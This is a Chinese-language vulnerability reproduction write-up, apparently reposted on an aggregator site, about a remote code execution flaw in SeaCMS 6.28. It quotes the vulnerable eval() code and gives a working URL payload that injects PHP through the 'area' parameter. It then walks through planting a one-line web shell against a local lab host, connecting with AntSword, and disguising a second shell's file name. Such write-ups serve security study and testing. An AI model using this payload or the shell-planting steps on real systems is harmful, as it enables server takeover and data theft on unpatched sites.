漏洞复现海洋CMS6.28远程代码执行

Posted 独角授

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞复现海洋CMS6.28远程代码执行相关的知识,希望对你有一定的参考价值。

【漏洞复现】海洋CMS6.28远程代码执行

文章目录

一、漏洞背景

海洋影视管理系统(seacms,海洋cms)是一套专为不同需求的站长而设计的视频点播系统,灵活,方便,人性化设计简单易用是最大的特色,是快速架设视频网站首选,只需5分钟即可建立一个海量的视频讯息的行业网站。

该CMS6.28版本存在命令执行漏洞,攻击者可以通过远程命令执行入侵被攻击者主机。

二、漏洞原理

area参数处理过的地方经过字符是否非法判断之后,调用echoSearchPage()函数

area参数经过了检测是否是拼音之后

接下来到了

$content=$mainClassObj->parseSearchItemList($content,"area");

因为能执行php代码一般就是eval()函数

搜索一下这个页面有eval函数的地方

for($m=0;$m<$arlen;$m++) $strIf=$iar[1][$m]; $strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
 if (strpos($strThen,$labelRule2)===false)
 if (strpos($strThen,$labelRule3)>=0)
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
 @eval("if(".$strIf.")\\$ifFlag=true;else\\$ifFlag=false;");
 if ($ifFlag) $content=str_replace($iar[0][$m],$strThen1,$content); else $content=str_replace($iar[0][$m],$strElse1,$content);
 else
 @eval("if(".$strIf.")  \\$ifFlag=true; else \\$ifFlag=false;");
 if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);
 

可以在这里下个断点,把变量打印出来

就可以清晰的看到就是在这执行了我们的命令

漏洞最终payload:/search.php?searchtype=5&tid=&area=eval($_POST[cmd])

三、漏洞复现

本地IIS搭建CMS

构造payload:

先来个phpinfo

http://192.168.1.14:8452/search.php?searchtype=5&tid=&area=phpinfo()

代码执行成功

ok

继续一句话木马

http://192.168.1.14:8452/search.php?searchtype=5&tid=&area=eval($_POST[cmd])

直接蚁剑链接,连接密码cmd

连接数据库

尝试蚁剑拿shell

无回显

到这儿就结束了吗?

不!再战

用蚁剑写个冰蝎的马试试

名字伪装一下,都懂的admin…config…ini…

尝试连接

shell还是不行

草草结束。

以上是关于漏洞复现海洋CMS6.28远程代码执行的主要内容,如果未能解决你的问题,请参考以下文章

复现CVE-2020-16898 TCP/IP远程代码执行漏洞

漏洞复现:MS14-064 OLE远程代码执行漏洞

LNK文件(快捷方式)远程代码执行漏洞复现过程(CVE-2017-8464)

Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

Tomcat CGIServlet enableCmdLineArguments远程代码执行_CVE-2019-0232漏洞复现

Office CVE-2017-8570 远程代码执行漏洞复现